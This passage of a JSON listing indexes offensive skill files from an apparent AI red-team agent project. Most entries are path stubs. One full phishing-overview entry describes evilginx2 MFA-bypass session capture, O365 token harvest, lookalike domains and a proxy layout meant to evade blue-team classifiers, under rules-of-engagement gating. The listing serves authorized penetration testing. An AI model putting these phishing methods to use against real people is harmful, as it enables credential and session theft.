GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md","title":"lookalike-domain","category":"anthropic-skill","format":"markdown","content":"# lookalike-domain\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md","title":"lure-deconfliction","category":"anthropic-skill","format":"markdown","content":"# lure-deconfliction\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md)","tokens":300,"sizeBytes":288},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md","title":"mfa-fatigue-social","category":"anthropic-skill","format":"markdown","content":"# mfa-fatigue-social\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md)","tokens":300,"sizeBytes":288},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md","title":"o365-credential-harvest","category":"anthropic-skill","format":"markdown","content":"# o365-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md)","tokens":300,"sizeBytes":303},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md","title":"pdf-credential-harvest","category":"anthropic-skill","format":"markdown","content":"# pdf-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md","title":"pretext-engineering","category":"anthropic-skill","format":"markdown","content":"# pretext-engineering\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md","title":"quishing","category":"anthropic-skill","format":"markdown","content":"# quishing\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md)","tokens":300,"sizeBytes":258},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/SKILL.md","title":"phishing-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: phishing-overview\ndescription: >\n Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the\n engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish\n campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike\n domains, and the mandatory blue-team deconfliction handshake.\nmetadata:\n skillogy:\n version: 1\n subdomain: phishing\n when_to_use: \"phishing, social engineering, initial access, gophish, evilginx2, mfa bypass, lure, pretext, o365 oauth, lookalike domain, deconfliction\"\n mitre_attack:\n - T1566\n - T1566.001\n - T1566.002\n - T1598\n - T1656\n tags:\n - phishing\n - social-engineering\n - initial-access\n - evilginx\n - gophish\n---\n\n# Phishing / Social-Engineering Skill Catalog\n\n**Gating.** Every skill here refuses to execute unless the engagement\nRoE authorizes a phishing engagement and the blue-team\ndeconfliction acknowledgment (`lure-deconfliction`) is recorded for\nthat campaign's scope and send window. Phishing\nreal employees without written authorization is a crime — the RoE +\ndeconfliction ack are the operator's legal coverage.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/phisher/pretext-engineering/SKILL.md` | Design the pretext + target shortlist from OSINT (LinkedIn / Hunter.io) |\n| `/skills/standard/phisher/gophish-campaign/SKILL.md` | GoPhish API: groups, email templates, landing pages, campaign launch + tracking |\n| `/skills/standard/phisher/evilginx2-proxy/SKILL.md` | evilginx2 phishlet authoring; capture session cookies past MFA |\n| `/skills/standard/phisher/o365-credential-harvest/SKILL.md` | O365 / Entra OAuth device-code + token capture and replay |\n| `/skills/standard/phisher/lookalike-domain/SKILL.md` | Punycode / lookalike domain + DNS + TLS provisioning |\n| `/skills/standard/phisher/lure-deconfliction/SKILL.md` | MANDATORY blue-team acknowledgment and evidence before sending |\n\n## Infrastructure pattern\n\n```\n[Target inbox] -> [NGiNX reverse proxy on attacker domain]\n ├─ /login → evilginx2 phishlet (MFA bypass + session capture)\n └─ /landing → GoPhish (campaign tracking + analytics)\n```\n\n- The NGiNX layer is OPSEC: blue-team URL classifiers see one domain;\n internal routing splits phishlet vs landing by path / referer.\n- TLS via Let's Encrypt + `acme.sh`; keep ACME challenges off the\n phishlet path.\n- SPF / DKIM / DMARC must be correct on the sender domain or modern\n inboxes drop the mail. Soundwave's phishing template walks the\n operator through DNS setup.\n\n## Deconfliction (mandatory)\n\nEvery outbound mail carries an engagement header\n(`X-Decepticon-Eng: `) the SOC allow-lists so simulated phishing\nis distinguishable from a real attack. The `lure-deconfliction` skill\nis a hard gate before the first send — skipping it is a critical RoE\nviolation.\n\n## Failsafe\n\nOn operator stop or SOC request, wind down within 5 minutes: pause the\nGoPhish campaign, return 502 on the evilginx2 phishlet, and repoint the\nsender domain to a static \"this was an authorized test — contact your\nsecurity team\" page.\n","frontmatter":{"name":"phishing-overview","description":"Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike domains, and the mandatory blue-team deconfliction handshake.\n","metadata":{"skillogy":{"version":1},"subdomain":"phishing","when_to_use":"phishing, social engineering, initial access, gophish, evilginx2, mfa bypass, lure, pretext, o365 oauth, lookalike domain, deconfliction","mitre_attack":["T1566","T1566.001","T1566.002","T1598","T1656"],"tags":["phishing","social-engineering","initial-access","evilginx","gophish"]}},"isInternal":false,"tokens":827,"sizeBytes":3161},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md","title":"c2-alternative-channels","category":"anthropic-skill","format":"markdown","content":"# c2-alternative-channels\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md)","tokens":300,"sizeBytes":313},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md","title":"c2-cobalt-strike","category":"anthropic-skill","format":"markdown","content":"# c2-cobalt-strike\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md)","tokens":300,"sizeBytes":292},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md","title":"c2-domain-fronting","category":"anthropic-skill","format":"markdown","content":"# c2-domain-fronting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md)","tokens":300,"sizeBytes":298},{"name":"sliver-quickstart.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md)","tokens":300,"sizeBytes":324},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md","title":"c2-sliver","category":"anthropic-skill","format":"markdown","content":"# c2-sliver\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md","title":"havoc","category":"anthropic-skill","format":"markdown","content":"# havoc\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md)","tokens":300,"sizeBytes":265},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md","title":"mythic","category":"anthropic-skill","format":"markdown","content":"# mythic\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md)","tokens":300,"sizeBytes":268},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md","title":"c2","category":"anthropic-skill","format":"markdown","content":"# c2\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md)","tokens":300,"sizeBytes":250},{"name":"lsass-techniques.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md)","tokens":300,"sizeBytes":338},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md","title":"credential-access","category":"anthropic-skill","format":"markdown","content":"# credential-access\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md)","tokens":300,"sizeBytes":295},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md","title":"lateral-movement","category":"anthropic-skill","format":"markdown","content":"# lateral-movement\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md)","tokens":300,"sizeBytes":292},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md","title":"linux-privesc-enum","category":"anthropic-skill","format":"markdown","content":"# linux-privesc-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md)","tokens":300,"sizeBytes":298},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md","title":"macos","category":"anthropic-skill","format":"markdown","content":"# macos\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md)","tokens":300,"sizeBytes":259},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md","title":"network-replay","category":"anthropic-skill","format":"markdown","content":"# network-replay\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md","title":"privilege-escalation","category":"anthropic-skill","format":"markdown","content":"# privilege-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md)","tokens":300,"sizeBytes":304},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md","title":"reporting","category":"anthropic-skill","format":"markdown","content":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md","title":"active-recon","category":"anthropic-skill","format":"markdown","content":"# active-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"cloud-ip-ranges.md","path":"packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md)","tokens":300,"sizeBytes":310},{"name":"cloud-naming-patterns.md","path":"packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md)","tokens":300,"sizeBytes":322},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md","title":"cloud-recon","category":"anthropic-skill","format":"markdown","content":"# cloud-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md","title":"iot-security","category":"anthropic-skill","format":"markdown","content":"# iot-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md","title":"mobile-security","category":"anthropic-skill","format":"markdown","content":"# mobile-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md)","tokens":300,"sizeBytes":275},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md","title":"open-web","category":"anthropic-skill","format":"markdown","content":"# open-web\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md","title":"osint","category":"anthropic-skill","format":"markdown","content":"# osint\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md)","tokens":300,"sizeBytes":245},{"name":"dns-techniques.md","path":"packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md)","tokens":300,"sizeBytes":312},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md","title":"passive-recon","category":"anthropic-skill","format":"markdown","content":"# passive-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md","title":"reporting","category":"anthropic-skill","format":"markdown","content":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md","title":"api-enumeration","category":"anthropic-skill","format":"markdown","content":"# api-enumeration\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md)","tokens":300,"sizeBytes":295},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md","title":"auth-mapping","category":"anthropic-skill","format":"markdown","content":"# auth-mapping\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md","title":"cms-scanning","category":"anthropic-skill","format":"markdown","content":"# cms-scanning\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md","title":"cookie-audit","category":"anthropic-skill","format":"markdown","content":"# cookie-audit\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md","title":"discovery","category":"anthropic-skill","format":"markdown","content":"# discovery\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md)","tokens":300,"sizeBytes":277},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md","title":"web-recon","category":"anthropic-skill","format":"markdown","content":"# web-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md`\n\n[View Raw Content on 